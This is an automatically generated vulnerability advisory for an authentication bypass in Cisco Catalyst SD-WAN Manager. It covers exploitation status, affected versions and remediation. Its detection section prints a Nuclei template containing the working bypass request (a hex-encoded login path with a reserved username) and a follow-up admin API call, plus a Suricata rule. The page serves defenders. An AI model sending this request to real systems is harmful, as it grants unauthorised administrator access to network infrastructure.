VULNpocalypse

CVE-2026-76504: Cisco Catalyst SD-WAN Manager Hex Encoding Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

A vulnerability in the API session-based authentication management of Cisco Catalyst SD-WAN Manager could allow an unauthenticated, remote attacker to access an affected system with privileges of the admin user. This vulnerability is due to improper handling of URI encoding in an HTTP request, which allows the request to bypass an authentication rule that is intended to restrict access to a specific API endpoint. An attacker could exploit this vulnerability by sending a crafted HTTP request to the API of the affected system. A successful exploit could allow the attacker to bypass authentication and gain access to the API as the admin user.

Description quoted from the CVE record (assigned by cisco, published 2026-09-30).

Weakness: Improper Handling of URL Encoding (Hex Encoding)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-09-30
US federal deadline
2026-10-03
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-15713, EUVD-2026-89950, GHSA-xqjc-v467-8fvf

VEDAS cluster: VEDAS:BARNARDFACTOR

Exploit Observer links 8 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (8)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (4)

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

News (1)

73 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.389
likely to be attacked soon
VEDAS
0.980
strong exploit evidence
On CISA KEV
Yes, since 2026-09-30
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-76504 EPSS over time2026-102026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-76504 VEDAS over time2026-102026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Cisco Cisco Catalyst SD-WAN Managerversion 20.1.12
version 19.2.1
version 18.4.4
version 18.4.5
version 20.1.1.1
version 20.1.1
version 19.3.0
version 19.2.2
and 407 more ranges		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: cisco catalyst_sd-wan_manager, cisco_systems,_inc. catalyst_sd-wan_manager.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Cisco - Authentication Bypass

A vulnerability in the API session-based authentication management of Cisco Catalyst SD-WAN Manager could allow an unauthenticated, remote attacker to access an affected system with privileges of the admin user. This vulnerability is due to improper handling of URI encoding in an HTTP request, which allows the request to bypass an authentication rule that is intended to restrict access to a specific API endpoint.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /%6a_security_check, GET /dataservice/admin/user); it decides using dsl matchers. Severity in the template: critical. Marked as verified against a vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-76504.yaml
Show the template (50 lines)
yaml
id: CVE-2026-76504

info:
  name: "Cisco - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in the API session-based authentication management of Cisco Catalyst SD-WAN Manager could
    allow an unauthenticated, remote attacker to access an affected system with privileges of the admin user. This
    vulnerability is due to improper handling of URI encoding in an HTTP request, which allows the request to
    bypass an authentication rule that is intended to restrict access to a specific API endpoint.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-76504&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-76504
    cwe-id: CWE-177
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2026,cisco,sdwan,vmanage,auth-bypass,kev

http:
  - raw:
      # 1) bypass the auth rule via the hex-encoded path; the reserved user skips the password check
      - |
        POST /%6a_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username=viptela-reserved-cloudops&j_password={{randstr}}

      # 2) read-only confirmation that the minted session reaches the admin API
      - |
        GET /dataservice/admin/user HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "contains(header_1, 'JSESSIONID=')"
          - "status_code_2 == 200"
          - "contains(body_2, 'userName')"
          - "!contains(body_2, 'Access forbidden')"
        condition: and

CVE-2026-76504.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-76504 Cisco - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-76504 Cisco - Authentication Bypass"; flow:established,to_server; http.uri; content:"/dataservice/admin/user"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-76504; reference:url,https://www.exploit.observer/?keyword=CVE-2026-76504&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact; sid:1011636; rev:1;)

CVE-2026-76504.rules on GitHub

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.